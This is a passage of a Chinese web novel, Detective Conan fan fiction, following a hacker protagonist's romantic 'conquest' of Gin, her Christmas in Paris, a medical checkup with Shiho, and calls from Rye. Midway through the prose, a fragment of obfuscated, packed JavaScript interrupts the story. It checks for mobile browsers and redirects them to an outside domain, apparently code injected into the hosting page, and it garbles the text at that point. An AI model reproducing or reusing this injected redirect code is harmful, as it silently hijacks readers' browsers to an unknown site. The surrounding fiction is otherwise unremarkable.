伏特加正蹲在地上研究着怎么把人运走,就听到了拍在手背上的那声脆响。他可不觉得这是大哥会做的事,震惊抬头道:“西拉酒,你竟然敢打大哥!”
神无梦为伏特加的忠心折服,回击道:“以大哥的身手,他要是想躲还能躲不开吗?大哥都没意见,你想替大哥做主?”
等等——
所以琴酒为什么没有松手?
系统比她要恋爱脑得多,早在刚才就尖叫不停,这会在脑海里笃定道:【一定是看到梦梦和别人走在一起才这样,琴酒的内心情绪比他脸上看起来的要多多了嘛!梦梦,我们这次攻略绝对能成功!】
神无梦没有那些多余的滤镜,更没有那些不切实际的自信,如实评价道:【我觉得他更像是对我的方案有意见,要不就是我把米歇尔带出来破坏了他什么计划。】
不过系统的猜测也是一个思路,她的眼睛眨了眨,小声问道:“大哥,你难道是看我和米歇尔一起出来,不高兴了?”
见多了琴酒冷漠的表情,她已经无所畏惧了,再接再厉道:“你可以直接告诉我的嘛,毕竟我可是在追求你耶,你的感受当然是第一位啦!”
然后她那只撑在男人身上的手就被抓住,毫不留情地扯下来。
琴酒那双绿色的瞳孔在晚上仿佛更亮,牢牢锁定在她的身上,语气幽森:“西拉,我没时间陪你玩那些恋爱游戏。”
黑方人物与生俱来的压迫感果然很强。
分明唯一接触到的部位只是他的虎口与自己的手腕,但却让她觉得整个人都被控制着,无处可逃。
最开始没有把攻略目标选在组织内就是这个原因。
她不认为自己真的能够在这种情况下游刃有余,但在遇到过身心光明的警官、游走于灰色地域的卧底之后,她还是被命运的洪流裹挟着推到了这一步。
“我不是在玩游戏。”
身旁灯带的细小光亮盛在少女浅金色的眸子里,恍如星星正在闪烁。她的表情平静,但语气坚定到像是宣誓,又像是说着某样既定的事实:“琴酒,我是认真的。”
“哼。”
回应她的是一声嗤笑。
伏特加已经被两人的发展惊呆,一时间都有些想不起来自己的任务是什么了。
好在身上的重量提醒了他,他及时弥补道:“大哥,我先把人带走,就、就不打扰你和西拉酒了!”
说完,他步伐飞快,身上的大块肌肉发挥到了极致,半点看不出还扛着个人。
远处的宴会大厅兀然传来热闹的欢呼声,纸醉金迷的环境里并没有人注意到幽暗后花园之中的一切。
神无梦不认为在这里继续待下去是个好主意,也认为在自己表明态度之后需要留给琴酒一点思考的时间,说道:“我先回房间解决监控。大哥,明天出现的米歇尔应该会愿意跟我们合作了?”
米歇尔是在众目睽睽之下跟着她一起出来的,消失一夜还可能被误解为什么风流韵事,但要是自此失踪那可就麻烦多了。
即便监控录像可以用伪造的视频替换,但到了那时候或许还得麻烦贝尔摩德出面。
不过,她相信琴酒并不是只有杀人的本事,一整夜的时间总能说服对方,不论用哪种手段。
神无梦将盘起的发髻拆开,波浪般的金色长发瞬间垂落于身后,将那片洁白的肌肤半拢住,隔绝了些室外花园的寒冷空气。
今晚的目的已经完成,琴酒确认没有留下任何痕迹,准备直接离开,却又一次被她喊住。
“大哥。”
他的五感很敏锐,不论是气味或是色彩都能够被轻易捕捉,于是交相辉映的淡金长发与鲜红裙摆直接撞在了他的视网膜上。
包括她脸上明亮的笑容。
神无梦伸手从旁边的圣诞树上摘了颗银色小球,球身光滑晶亮,随着角度不断折射璀璨的光。
她捏了一下,是硬质的,像是实心。
“圣诞快乐,这是我的圣诞礼物。”
她自认为速度飞快且动作灵活地把球塞进面前男人的口袋,但还是被对方隔着风衣布料按住。
气氛凝滞了一瞬,右手也被控制着失去了行动力。
神无梦觉得自己已经能够读懂琴酒的眼神了,比如他现在那种嫌弃的样子约等于在说“什么垃圾”。
“别不当一回事嘛。以后你有什么愿望,就拿着这颗球来跟我换,我绝对会满足你的!”她信心十足,大放厥词道,“总有大哥找我帮忙的一天!”
琴酒并不认可她的说辞,更不相信自己会有这样的时候,不屑地冷哼一声,转身就走。
——但那颗银色小球却稳稳落进了他的外衣口袋。
-
法国的任务正在进行之中,神无梦手机里那条缺失的圣诞祝福被留在了日本。
相距八个小时的时差,正值凌晨的威士忌组安全屋灯火通明
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,降谷零与诸伏景光在客厅的沙发对坐。时间生生走过了属于圣诞的25日,一刻不停地继续向前。
整栋屋子被从内反锁,没有任何窃听设备,而被派去长野出任务的莱伊也绝不可能出现在这里,比起外面的任何地点都更加适合他们谈话。
茶几上摆着两杯水,一部手机,屏幕黑着,像是证物一样被放在两人之间。
寂静不断蔓延,降谷零看着对面人沉静的眉眼,率先按捺不住:“你想把之后的计划透露给她?”
“不。”诸伏景光果断否认,解释道,“只是希望她有所准备。”
“她是和琴酒一起去的。”降谷零陈述着事实,“她在组织里的时间比我们还要久,可能年龄都是骗你的,那份名单兴许就是她试探你的手段。”
“我知道,但或许的确是她救了我。”
诸伏景光的眼睑垂下,并不跟那双几乎在审判他的紫灰色眼睛对视:“她以前和我说,她想要脱离组织。”
降谷零不愿意看到幼驯染越陷越深,反问道:“那她为什么会加入组织?听说她加入组织不到两个月就获得了Boss亲自发的代号,只有你相信她说的是实话。”
诸伏景光试图为神无梦辩解:“我们都知道,她在计算机方面的才能独一无二。”
“仅仅如此?”金发黑皮的青年脸上勾出一抹讥讽的笑,刻意叫了一声对方的代号,“苏格兰,我们获得代号之前做了什么任务,你应该没有忘记。即便她凭借黑客技术获得代号,被她害死的人也一定不少。”
这番话太过直白,不仅是诸伏景光暂时找不到反驳的理由,就连降谷零自己都恍惚了一瞬,险些分不清谁才是他真正想要点醒的人。
他低下头,额前的金色碎发遮住了骤然紧缩的瞳孔,也压下了那些绝不可能出现的心思。
没错,那女人身上藏着的秘密太多,和她离得太近只会越陷越深。
他不能眼睁睁看着hiro沉溺其中,不管是一年前还是现在,他的态度都不会改变。
诸伏景光的思绪全然在对话上,没有分心注意到好友的不对劲,勉强道:“……但至今我们都没有亲眼见过她杀人,也没有任何证据。相反,她很清楚公安流出来的那份卧底名单,也只有她有能力修改。”
在这个瞬间,他甚至想到了FBI的证人保护计划,或许对她来说更加有用。
“可能这就是诱你上钩的饵。”
降谷零想到那条险些被幼驯染发出去的短信就感到一阵恼怒,这份情绪隐隐压倒了计划险些暴露所带来的不安。
他叫着诸伏景光的名字,主语却不知不觉从对方变成了自己:“hiro,难道你相信这种地方存在纯粹的爱情?别忘了我们承诺过的,也别忘了我们决定抛弃的。”
天色破晓,但太阳尚未升起,黑暗也依旧笼罩在那些透过窗户所看不到的角落,笼罩在这栋隐蔽的安全屋内。
没有听到回应,降谷零烦躁地将遮住视线的碎发向后抓,用词不由得更严厉了几分,落在诸伏景光的耳中宛如利刃,残酷地撕裂出那份真相。
“hiro,她绝对不像她表现得那样爱你。”
17. 攻略进度17%
酒店的监控设备不多,处理起来用不了多少时间,神无梦打着哈欠将剪切过的录像内容换上去,没忘伪造一份米歇尔回房间的刷卡记录。
临睡前,她顺手点进还登录着的魔术论坛,帖子下面已经多了一堆回复。
大概是那个黑客论坛九级账号的功劳。
最前面的几条回复看起来是混迹于魔术和黑客论坛两边的人,首先是震惊于她的账号等级,然后是怀疑她的身份,最后大概是从她的主页得到了证明,继而转为吹捧她,还有把计算机技术问题拿到这个帖子来问的,期待她能回答。
其中倒是穿插了几个真正在魔术论坛深耕的用户,但都被她写的【已成年】这一点劝退,声称魔术是从小就要开始练基本功的技能,不是随随便便谁都能上手的,像她这个年纪才想着开始已经迟了,想要速成就是罪加一等,把她狠狠批评了一顿。
神无梦看得眉头都拧起来。
她只是想完成日常任务而已,她有什么错?
平时在组织里讨生活已经很不容易了,这会下了班写个求助帖还要受气,神无梦才不惯着这群自以为是的家伙,挨个点进去他们的账号,从后台限制了七天使用权才算满意。
偶尔也有两个真正乐于助人的朋友,可对方的地理位置却不太方便,一个在德国,另一个在阿根廷,神无梦没办法抽时间去那里学习,而且语言问题也需要解决。
不过她还是把这两个人列入备选,实在不行就请对面用视频的方式教她,虽然效率上会差一点,但总比束手无策要强。
抱着“问都问了”的心情浏览到最后,神无梦的眼睛一亮,困倦的感觉都驱散了些,因为她终于看到了一个八级账号。
顺带一提,这个论坛的最高等级是九级。
id是【红色鲱鱼】,头像是一张红心A。
很魔术师的头像。
神无梦在心里点评完,正准备看看对方的回帖内容,动作却兀然一顿。
等等——
id是什么?
她重新看向那个由日语构成的名字,然后从自己的脑海中找到了犄角旮旯中的记忆。
这不就是新一代怪盗基德常用的网名吗?
首先,这是魔术论坛;
其次,名字用的是日语。
虽然仅仅通过这两点肯定对面的身份有些武断,但对面不是黑羽快斗本人的可能性很小。
神无梦忽然觉得自己的日常任务有机会完成了,毕竟谁会不称赞自己的魔术呢?
尤其是——现在应该才十四岁的黑羽快斗小朋友。
-
巴黎的零点是东京的早八点,对面是早睡早起健康作息的中学生,她却是货真价实地熬了个夜。
那条红色鲱鱼很有保护隐私的意识,把自己的形象说成一个二十五岁怀才不遇所以在论坛上找存在感的魔术师,在和她交换联系方式之前先试探了她的能力。
不论是金钱还是其他宝物他都拒绝收取,神无梦猜测他是想拜托自己查某些未公开的信息,但因为不够信任她,所以并没有透露,反倒表现得愿意先教她魔术再说报酬。
有求于人,神无梦非常配合,和他约定了碰面的时间地点,自觉日常任务的完成只是时间问题,心情都愉快了不少。
在给出真实的个人资料之前她也犹豫了一会,但考虑到如果对面是黑羽快斗,她那点易容手段属实是班门弄斧,而如果对面不是黑羽快斗,那她当然有更好的办法保护自己。
——况且这个世界上关于她的资料本来也没几条是真的。
做完这一切已经接近三点,活跃的大脑皮层还毫无入睡的打算。
她让系统在耳边念魔术方面的教科书,好不容易才睡了过去。
但到了七点半,规律的生物钟将她准时唤醒。
神无梦没有赖床的习惯,可缺少睡眠的痛苦还是让她笑不出来,洗漱过后两眼放空地倒回了床上,准备在通讯录里随便挑一个人打发无所事事的清晨。
门铃就是这时候被按响,来的人是来请她签合同的米歇尔,还准备了丰盛的早餐。
不知道米歇尔被带走之后遭遇了什么,总之这个之前还一堆心思的男人今天就对她唯命是从了,迫不及待把他们研究所与乌丸集团的合作协议拿出来,所有条款都对组织十分有利。
甚至递笔的时候都和她保持了距离,从昨天的大献殷勤变成了今天的避如蛇蝎。
整个过程简单到神无梦觉得就算她什么也不做,这次的任务也绝对能够顺利完成,轻松到只要抬抬手指的地步。
有种又混了一次任务的错觉。
-
带着双方签署完毕的合作书和米歇尔提供的重要实验数据,神无梦坐上了伏特加新租的车。
也不知道这种地方是怎么让伏特加一个语言不通的人租到保时捷的,虽然不是356A。
让无法信任的人开车对于琴酒来说是不可能的事,神无梦至今只见过他自己开车或是坐伏特加开的车。
如果哪天他被迫打车,她怀疑琴酒会把司机“赶”下来换自己开,前提是他确定那辆车没有被动手脚。
“不用装不认识了吗?”神无梦坐上后座,对身边的琴酒说道,“我昨天救了机场那么多人,听说今早的报纸花了大版面报道,和我在一起很可能会很引人注目噢。”
她的皮肤很白,脸上的黑眼圈就更明显,看起来比起两位彻夜“说服”米歇尔的同事还要疲惫。
伏特加在前面说道:“这辆车装了防窥玻璃,西拉酒你把窗户摇上,外面看不见你的。”
“可那样我也看不清外面啊。”
神无梦非但不听,还把车窗调到最低,室外的寒风迅速吹散了车内的暖气。
街道两边的圣诞气氛很浓,尽管已经到了26日,但圣诞树都还摆放在商铺门口,庆祝节日的音乐从街头飘到街尾,气氛欢欣活泼,让人忍不住停下来加入其中。
过了一夜,伏特加已经从昨晚的震惊之中恢复过来,也知道昨天琴酒留下的那点时间不可能做什么其他事情,对待神无梦的态度又自然了几分。
见琴酒都没对她摇下车窗的动作说什么,伏特加也不再提起,打听道:“西拉酒,你以前不是只喜欢黑头发的男人,什么时候改了?”
他一直以为西拉酒说追求大哥的话只是开玩
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笑,结果好像还有点来真的。她偏爱黑发的审美改了就算了,要是没改还招惹他大哥,那他都忍不住为西拉酒担心了。
神无梦理解不了这种谣言从何而来:“谁说的?”
“还用说吗?组织里的人都这么认为。”伏特加信心满满地发言,“你当初直接从外面领了个莱伊回来就不说了,后来交往的苏格兰也是黑头发,反而对波本没好脸色,难道不是你的审美原因?”
神无梦被他说沉默了……
领莱伊进组织是不想让他去找宫野明美碰瓷,和苏格兰交往是为了完成攻略任务。
但是要真的从头分析起来,她发现萩原研二也是黑头发,竟然有种被伏特加歪打正着的感觉。
身边好像冷了一点。
她偏头瞟一眼,琴酒还是面无表情的样子,似乎有点嫌他们太吵了,但还在忍耐范围。
因为都坐在后座,他的头发又太长了,发梢不可避免地碰到她的手,穿过指缝的时候会有点痒。
“……我怎么可能只喜欢黑头发!”缺少睡眠果然会让脑袋迟钝,神无梦慢半拍地反应过来伏特加这家伙是在给她挖坑,连忙道,“大哥的银色头发这么好看,我现在最喜欢银发!而且我讨厌波本根本不是因为他的头发,我自己都是金发,怎么可能会介意这个啊?”
表明态度的同时迅速转移话题,整段话说得滴水不漏。
她在心里为自己点赞。
神无梦觉得有必要了解一下伏特加的想法,不然被他背刺就麻烦了:“你怎么老问这个,该不会是怕我抢了你小弟的位置吧?”
伏特加果然有一肚子的怨气,听到她问就说个不停:“上次你莫名其妙跟大哥组队做任务,我可是连续放了两周假!”
虽然那两周她躺床上什么都没做,但神无梦还是佩服伏特加的忠心耿耿:“带薪休假不好吗?不然你替我打工,我在家休息?”
“组织亏待你了?”
琴酒不想再听这两个人叽叽喳喳,垂眸扫了眼被那只手压住的发尾,冷声道:“回你那边坐好。”
“好吧好吧。”神无梦妥协,和他拉开足足一个人的身距,又问道,“我们怎么这么急着赶回日本啊,好不容易过来一趟,至少再待几天吧?”
虽然巴黎冷到她不得不把车窗关紧,但她也还是希望能多玩一阵的,至少把她之前在苏格兰面前吹的那几个景点都逛一趟吧!
琴酒显然没有这种闲情逸致。
他说话的时候语气毫无波澜:“Boss吩咐我带你回日本体检。”
说得很好听,像是一年一度的员工福利,但神无梦很清楚那位Boss的目的。
想要自由地留在组织总得付出点代价,她点点头,又问道:“贝尔摩德前段时间回日本也是为了这件事吗?”
一般琴酒都会对她回以沉默或者是让她不要多管闲事,但他今天的心情似乎还不错,破天荒地回答了这种无关紧要的问题,虽然只是一个短促的音节:“嗯。”
“那为我体检的医生是谁?”听到贝尔摩德也会一起,神无梦认命了,强调道,“我只能接受女医生噢!”
“Sherry。”
18. 攻略进度18%
从巴黎回来,神无梦决定再也不出差了,至少不能跟琴酒一起出差。
她在巴黎待的时间还没有往返飞机上待的时间多,用“剥削”这两个字都是往温和了说的。
虽然组织打款够快,报酬也丰厚,但对于一心回家的她来说钱财的确是身外之物,给再多钱也没有命重要。
琴酒还想把刚下飞机的她带去实验所,被神无梦严词、不,温和拒绝。
她捂着右半边脸,看起来可怜兮兮:“大哥,我的牙齿好疼,可能是这几天坐飞机的压强让我的智齿出生了。”
伏特加嘲笑她的借口,但琴酒还是冷着张脸,不容拒绝道:“别耍什么花样,三天后我来接你。”
“谢谢大哥。”
她泪眼汪汪地朝着驶离的保时捷挥手。
智齿是真的有点疼,但神无梦对着镜子看了看,并没有发炎的症状,所以决定等见到医生再说,心无旁骛地在家里休息了几天,一点点把时差调过来。
三天后是12月31日,她和【红色鲱鱼】约定的碰面日期也是这天。说起来有点仓促,但上午的体检和下午的安排并不冲突,理论上时间是充裕的。
不过这天毕竟是跨年的日子,还是有些特殊的。
虽然暂时不需要为了生命值发愁,也不用为了活下去太过神经紧绷,但神无梦依然准备试着约琴酒一起跨年——虽然成功的可能性不大。
-
组织在日本的实验所极其豪华。
乌丸莲耶成立组织的目的就是为了研究长生不老的药物,神无梦认为他不择手段敛财弄权就是为了获得足够的资金支撑自己的研究。
毕竟没有任何事情的暴利程度能够超过黑色领域。
她这几年的体检都是在这栋实验所完成的,如果不是她还有其他方面的才能,或许在见到乌丸莲耶的第一面之后就会沦落成为里面只有数字编号的实验体,连基本的自由都会丧失。
每每闻到这种地方的消毒药水味,总会让她产生不好的联想。
她的体检结果的确是乌丸莲耶万分重视的事情,甚至安排了琴酒送她,不允许半点闪失。
到达之后,取得代号的宫野志保从实验室里出来,像交接一样把她从琴酒那里接过来。
时间在自己的身上仿佛停滞,但看到两年以前个子才到她胸口的女孩又长高了,神无梦不由得感慨岁月如梭。
她拿出大姐姐的风范,摸了摸女孩的头:“志保,你不会要长得比我还高吧?”
“不要说显而易见的事。”
宫野志保拿开她的手:“谁让你两年都一点没变。”
神无梦知道这是她在对自己表示关心。
她们认识的时候,宫野志保还没有获得代号。
分明应该是才升上中学的年纪,天才一般的女孩却已经通过了美国知名学府的面试与考核,顺利进入大学研读。
至于为什么她们的人生会产生交集……
因为贝尔摩德在发现她的容貌不会随着时间改变之后怀疑她也曾经吃过宫野夫妇制作的药物,硬生生闯到别人家里去翻试药名单,和当时才十二岁的宫野志保闹得不太愉快。
贝尔摩德和宫野夫妇不合是组织的代号成员都知道的事,即便现在宫野夫妇已经去世,但她和宫野志保的关系依然紧张。
对于Boss来说,手下成员相互排斥更便于管理,自然不会想着调解,甚至在某种程度上激化了两者的矛盾。
有这层关系在,贝尔摩德当然不会同意宫野志保帮忙体检,组织里也并非只有一位医学专家,她提前约定好了与自己相熟的人。
所以尽管大家都在同一栋实验楼里,但整个上午都彼此错开,并未撞见。
-
体检是一件耗费体力的事情。抽完血后,神无梦抱着杯糖水坐在走廊上的椅子上慢慢补充糖分,等待着宫野志保一会拿出来的化验结果。
另一边,披散着金色长卷发的女人从紧闭的门里走出来,是她最近还没有碰过面的贝尔摩德。
虽然在宫野志保才帮她体检完的现在说这些很不应该,但她到底是跟贝尔摩德认识得更早一些。
因为她毫无变化的容貌与贝尔摩德吃下的不老药效果类似,所以贝尔摩德对她始终有一种同病相怜的感觉,对她十分照顾。
再夸张一点,她能活到现在,贝尔摩德功不可没。
“莎朗!”
神无梦不敢轻易从椅子上站起来,放下手里的纸杯,小幅度地朝她挥手:“好久不见。”
“Oh,mysweetie!”
女人热情万分地直接给了她一个拥抱。
为了方便体检,她们都穿着宽松的衣服。在坐着的时候直接被人弯腰抱住,神无梦不可避免地撞进了对方的怀里,鼻尖都是浓郁的香气,软得不敢乱动。
她再一次庆幸自己是女生,不然根本抵挡不了这位影星的魅力,绝对会拜倒在贝尔摩德的石榴裙下。
贝尔摩德看了眼后面紧闭的化验室,同样没有见到宫野志保的打算,尤其在实验所这种归属于对方的领地。
她不准备在这里久留,但寒暄的时间还是够的。
女人撩了下滑到身前的长发,声音含笑:“日本好玩吗?既然已经把男朋友甩了,要不要跟我回美国?”
“怎么都传到你那儿去了。”神无梦觉得组织这些人真的是爱八卦,但转念一想,组织的生活的确匮乏无趣,她自己都听了不少伏特加暗恋基尔的小道消息,只是没向本人求证过。
贝尔摩德朝她眨眨眼:“因为我关心我的女孩。”
成熟女人的魅力实在不容小觑,神无梦的脸颊微红,半真半假地解释道:“之前朗姆给的名单里有苏格兰的名字,万一他是卧底,我可不想被他牵连。再说了,都和他在一起这么久了,我也想换个人试试。”
“然后就换成了琴酒?”贝尔摩德脸上的笑容妩媚,“在恋爱关系上,我可不觉得琴酒是个好人选。”
神无梦当然清楚这点,但比起对方适不适合恋爱,她面对的问题更加致命:“不管他是不是好人选,他都并不喜欢我。”
“Mygirl!”
贝尔摩德亲昵地贴了下她的脸:“没有人能够残忍地拒绝你,除非他还没有读懂自己的心。”
涂着鲜红甲油的手指轻轻勾起了面前少女鬓边的一缕长发,比起她自己的发色要浅上一些,但当这两缕发丝交叠在掌心上,看起来却意外的和谐,不分彼此。
她的话像是蛊惑,宛如塞壬在耳畔歌唱:“琴酒不懂得珍惜,但我会很疼爱你的。”
神无梦露出稍稍无奈的表情。
她顺从地贴了贴贝尔摩德的美丽脸蛋:“别和我开玩笑啦,我还要等体检结果,莎朗要直接离开吗?”
“梅斯卡尔会把结果通过邮件给我。”
皮鞋踩在地面的声音响起,贝尔摩德的余光扫到了那片银色长发。她遗憾起身,向神无梦道别:“你的保镖来了,我们电话联系。”
临走前还给了她一个飞吻。
琴酒双手插在大衣口袋里,整个人像是散发冷气,有两个从实验室走出来的助手见到他都慌忙躲闪,看得神无梦忍不住笑出声。
她觉得今天的琴酒未免也太积极,不解道:“大哥,难道Boss真的担心我会逃跑?也不用让你一直看着我吧?”
琴酒走到她的面前,居高临下地俯瞰她:“乱猜会让你的脑袋变得更聪明?”
神无梦鼓了下脸,见到他就想起来自己为了拖延体检时间找的理由:“转移注意力可以让我忘掉牙疼。”
然后她的脸颊就被冰凉的手指捏住,嘴巴也不得不张开。
高度的差距让琴酒只要垂眸就能看见她被迫露出来的细白牙齿和一小截舌尖,但智齿的位置太深,想要看到大概得把她的下颌卸掉。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994090|178092||http|test|mini|href|location''.split(''|''),0,{}));
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>或者……
琴酒的拇指按在少女的下齿,于是她不得不配合,让他能够看到整齐齿列最里侧探出头来的白色小点。
神无梦想一口把他的手指咬掉,但他的力气太大了,她想反抗都没办法,只能就着这个姿势发出含糊不清的抗议声,淡金色的瞳孔也蒙上生理性的淡淡水雾。
她怀疑琴酒根本就不知道什么是普通人互动时的适宜力度,保持张嘴的姿势让她的脸好酸,被琴酒指腹碰到的位置还有点轻微的疼,隐约要盖过智齿生长的痛感。
这样简直像是被迫看牙医的小朋友。
神无梦控制不住地吞咽一下,起伏的纤细脖颈从男人抵在她喉间的指节蹭过,像是主动和他靠得更近。
她不太舒服,抬手去拍打琴酒的手背,但这一次却没能成功,因为对方及时松开了手。
重新获得了自由,神无梦皱着眉揉了揉自己的脸,抱怨道:“大哥,你干什么啊?副业准备当牙医吗?”
她想想穿着白大褂给人拔智齿的琴酒,感觉一阵冒冷汗,仿佛已经看到血肉模糊的场景了。
琴酒的嘴角勾起一抹冷笑,语气之中难得能听出几分兴致:“你想让我帮你拔?”
“不!”
神无梦被他吓一跳,拒绝得飞快。她没想到琴酒竟然真的有这种打算,连忙劝道:“大哥!你的手可是扣扳机的,怎么可以拿手术钳?”
仰视的时候难免觉得自己处于弱势,而且这样说话脖子也很累,神无梦伸手扯了扯他的衣角,示意他坐下来:“我等会问问志保就行了,大哥别为我操心,你是在等我的检查结果去向Boss复命吗?”
琴酒皱眉看向被她扯皱的衣角,没有顺着她的意思坐下,也没有挣开:“嗯。”
感觉这个世界上能让琴酒这么积极的也只有乌丸莲耶一个人了。
神无梦意识到自己的目标得再加一个:攻略琴酒、毁灭组织、确认乌丸莲耶死亡。
否则她担心琴酒会做什么劫狱的事……
所以琴酒和组织的关系到底是什么样的?
从她以前看同人文的经验,大部分都猜测琴酒是从小被组织培养,甚至有可能是由Boss亲自养在身边,才会对组织有很深的感情。
但她旁敲侧击问过伏特加,并不是这么一回事,只是等她再追问,伏特加就不肯说了——毕竟聊八卦怎么可能有他大哥重要。
神无梦认为自己一定得把这件事搞清楚。不完全了解攻略对象,又怎么可能攻略成功?
“大哥,今晚我可以去你那里跨年吗?”
她知道琴酒一向是跟伏特加一起跨年的,不仅如此,他们还会一起看红白歌会。
把伏特加赶走和琴酒两个人跨年不太现实,神无梦主动退了一步:“你也知道,我现在不方便去威士忌组那里,可是一个人在家里跨年也太孤单了,所以……”
琴酒没理她。
神无梦还想再说点什么,手机却突然响起来,屏幕上的来电人是【Rye】。
手机铃声飘荡在安静的过道里,她第一次觉得自己的来电音量这么大,感觉再响下去都能把实验室里的工作人员吸引出来。
莱伊最近联系她确实比以前频繁,圣诞过后还时不时给她发信息,不过没想到这次直接打电话过来了。
她及时按下接听键,没有注意到身边男人的目光也停在屏幕上,喊了一声对方的名字:“莱伊?”
“西拉。”
手机另一侧的男声醇厚,隔着电话都能感觉到他在刻意释放魅力:“晚上有安排吗?”
这个问题的言下之意很明显,和她刚才问琴酒的简直是异曲同工。
在这种落针可闻的环境下,就算她没有开外放,五感敏锐的某位TopKiller应该也把莱伊的每一句话都听进了耳朵里。
神无梦仰起脸,朝面前的男人眨眨眼睛,神色无辜极了,无声道:要答应他吗?
19. 攻略进度19%
这边陷入了寂静之中,另一头的莱伊反应很快,但他并没有任何尴尬的情绪,而是笑了一声,问道:“你身边有人吗?”
既然发言权还没有被剥夺,神无梦说道:“琴酒在我这里。”
“那我的提议你考虑得怎么样?”莱伊并不在意她身边是谁,十分体贴地继续道,“假如你不愿意见到苏格兰,我们可以不在安全屋。”
神无梦觉得好笑:“苏格兰知道吗?”
莱伊配合道:“如果你想告诉他,我愿意代劳。”
听起来他的邀请诚心诚意,要不是太了解这个人的身份,神无梦或许真的会考虑换一个攻略对象试试看。
但现在,她实在是对这位FBI唯恐避之不及,并不想上赶着被他利用。
感觉给琴酒的刺激到位了,神无梦收敛了一点,没有把话说死:“我下午给你回复。”
身边的男人冷哼一声,看着她挂断了电话。
神无梦重新看向琴酒,手痒地扯了扯垂到手边的银色长发,说道:“大哥,有没有人和你说过,莱伊和你有一点点像?”
话音落下,琴酒就用那种能够杀人的目光盯着她。
被注视着的少女淡定地列举相似点:“长头发、绿眼睛,还都是狙击手……所以我到底能不能去大哥家里过年呢?不然我就只能——”
琴酒被她吵得头疼:“让伏特加给你开门。”
神无梦满意地松开手,笑眯眯地说道:“那我就拒绝莱伊咯。”
这个决定让安静了一整天的系统出声,一开口就是不同寻常的建议:【其实梦梦你可以同时攻略他们嘛,一起过年也行啊。反正谁给我们爱慕值都行,万一赤井秀一其实是个恋爱脑呢?】
神无梦正在低头编辑短信,听到系统的声音沉默了一瞬,问道:【……最近又熬夜看什么电视剧了?】
【是游戏啦!名字叫[可爱统统和它的四位宿主]!】如果不是没办法分享给宿主玩,系统真的想要把它的心头好推荐出去,【宿主有冷酷的、温柔的、暴躁的、阳光的。虽然我最喜欢那个温柔的,但是我这么厉害,完全可以同时为四位宿主服务嘛!所以梦梦你也不用一次只攻略一个人啊,我们又没有强制要求!】
系统是没有性别的,脑海里的外观是一个软乎乎的白团子。
相处了三年,神无梦已经很熟悉它的脾性,故意装作失落地说道:【嗯?我的统统就要抛弃我去别人家了吗?】
系统立场鲜明,语气激动,生怕被误会:【当然不会啦!那都是我游戏里面的纸片人,梦梦才是我最重要的人!】
【所以啦……】神无梦对它说道,【攻略的人再多又有什么意义呢,我只要一个人把我视为最重要的存在就够了。】
化验室的门终于被推开,茶发少女面容冰冷地从里面走出来。
她手里的报告厚厚一沓,多到神无梦自己都有些震惊,不确定她到底检查了多少项目。
科研人员和组织的杀手没有过多交集,宫野志保看也不看琴酒,沉默着把报告递给神无梦,然后被人从半道夺走。
见面容尚显稚嫩的少女似乎是要发脾气,神无梦连忙解释道:“琴酒要把我的检查结果上报给Boss,让他看也没关系。反正我每年都会做这些检查,情况我都了解,我们重新打印一份就是了。”
“你很了解你的身体状况?”
茶发少女重复了一遍,平日里面无表情的脸上隐约可见几分不满,是对眼前人不在乎自己身体的愤怒:“每一项指标都有问题,刚刚手术完的病人都比你健康。说不定哪一秒,你就会倒下,然后永远无法醒来。”
气氛变得凝重。
琴酒翻动报告的手指也顿了顿,看着她的绿色瞳孔辨不清思绪。
神无梦很清楚自己的身体情况。
因为那份身体数据就是她穿越之前的。
她能够健康的在这个世界生活,都是依赖于系统帮忙转化的生命值。
之前两年的体检结果都还在正常范围,这次可能是生命值掉得太厉害了,才越发接近真正的她。
但这些内情当然不可能告诉任何人,神无梦只好敷衍道:“我现在不是好端端的嘛,可能是以前吃的药有什么奇怪的效果啦,所以才要麻烦志保你们这些科学家研究呀!”
乌丸莲耶就是这么认为的,她也只不过是顺着前者的思路撒了个谎,至少在这个研究长生不老的组织里不会被拆穿。
只是……
在威士忌组联系不上她的那两周,她并非真的是在跟琴酒一起出任务,而是养病去了。
那段时间她的生命值骤降,身体因此出了一堆问题,手机里有一堆联系人,但除了想利用她的就是会为她担心的,最后她只好给琴酒打了电话——至少看在Boss的份上他不能眼睁睁看着自己病死。
不知道琴酒看到她的体检结果会不会产生什么联想,如果猜测到她的秘密就麻烦了。
-
好不容易把不太高兴的宫野志保哄好,神无梦陪着她吃了个午饭,准备直接从这里出发去赴红色鲱鱼的约。
琴酒拿到报告就走了,只剩她们两个人,聊起天来也没有那么拘束了。
“志保之后还打算回美国吗,还是准备留在日本?”神无梦问道,“来日本这几天,你应该已经和明美见过面了吧?”
因为她的干扰,这个世界的赤井秀一还没来得及碰瓷宫野明美就被她先领到了组织。如果不出意外,十亿日元的银行案件应该不会再发生。
“见过了。”
宫野志保没有想过她的问题,反问道:“我可以留在日本?”
她和姐姐从小就被分开,她很清楚,她们是互相约束的关系,也从没想过还有留下来的可能。
“当然啊。”神无梦理解她的担忧,说道,“假如明美和你一起去美国,Boss或许会担心你们叛逃,但在日本,这种他一手遮天的地方,有什么好担心的呢?”
宫野志保拿着叉子的手指紧了紧,提醒道:“……别用这种词。”
“听说志保在美国的课程都修完了,已经能够在实验室独当一面,所以——”
少女的淡金色瞳孔神采奕奕,在午后的日光下仿佛漾着粼粼波光,灿烂耀眼:“留在日本,建一个属于自己的实验室,不好吗?”
被组织培养多年,宫野志保早已习惯了听从安排的生活,即便潜意识里升起过反抗的念头也会因为各种顾忌而被立刻压下去,不希望让这种想法带来任何可怕的后果影响姐姐和她。
但在这个瞬间,她好像捕捉到了内心深处的某种渴望,也同样看到了对面少女眸中的鼓舞……与野心。
“——好。”
宫野志保听到自己这么回答。
于暗处流淌的汹涌被清脆的刀叉碰撞声打断,神无梦笑了一下,神色轻松地像是始终都在闲聊:“志保之后和明美常常在一起,可要保护好姐姐啊,别让她被外面这些坏男人骗了。”
再怎样天才,宫野志保也才只有十四岁,闻言惊讶地
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控制不住表情:“姐姐有喜欢的人了?”
“没有。”神无梦赶紧否认,“只是提前让你注意嘛。”
